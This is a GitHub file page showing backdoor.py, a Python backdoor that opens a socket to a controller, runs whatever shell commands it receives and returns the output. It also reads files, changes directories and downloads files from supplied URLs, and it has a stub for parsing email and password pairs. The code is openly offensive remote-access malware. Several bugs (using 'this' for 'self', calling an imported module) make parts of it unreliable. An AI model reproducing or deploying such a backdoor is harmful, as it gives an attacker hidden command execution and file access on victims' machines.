-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackdoor.py
79 lines (71 loc) · 2.63 KB
/
backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import socket
import subprocess
import os
import requests
import wget
import extract_hackfns
class Backdoor:
def __init__(self, ip, port):
try:
self.ip = ip
self.port = port
self.hackfns = extract_hackfns()
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((ip, port))
print('[+] Connected to ' + str(ip))
self.commands()
except Exception as e:
print('[-] Error: ', e)
def commands(self):
global downloadURL
command = self.s.recv(8192)
output = self.terminal_execute(command)
self.s.send(output)
counter = 1
while command:
try:
command = self.s.recv(8192)
command = command.decode()
for (filename, func) in this.hackfns.items():
if command.startswith(filename):
print('totally running function ' + func.__name__ + ' from file ' + filename)
if command[0:2] == 'cd':
command = command.split(' ')
result = self.change_cwd(command[1])
self.s.send(result.encode())
elif command[0:3] == 'cat':
text = ''.join(os.popen(command).readlines())
self.s.send(text.encode())
elif command[0:16] == 'email_validation':
email, password = command[16:].split(" ")
elif command[0:8] == 'download':
downloadURL = command[9:]
self.download(downloadURL)
self.s.send(f'[+] Successfully downloaded {downloadURL}'.encode())
else:
output = self.terminal_execute(command)
self.s.send(output)
except Exception as e:
self.s.send(f"[-] Invalid command: {e}".encode())
def terminal_execute(self, command):
try:
if subprocess.getstatusoutput(command)[0] == 0:
return subprocess.check_output(command, shell=True)
else:
return "[-] Error".encode()
except:
self.s.send("[-] Error".encode())
def download(self, url):
filename = url.split("/")[-1]
wget.download(url, filename)
def change_cwd(self, path):
os.chdir(path)
return "[+] Changing directory to " + path
if __name__ == "__main__":
while True:
port = 8080
try:
backdoor = Backdoor(socket.gethostbyname(socket.gethostname()), port)
break
except:
port += 1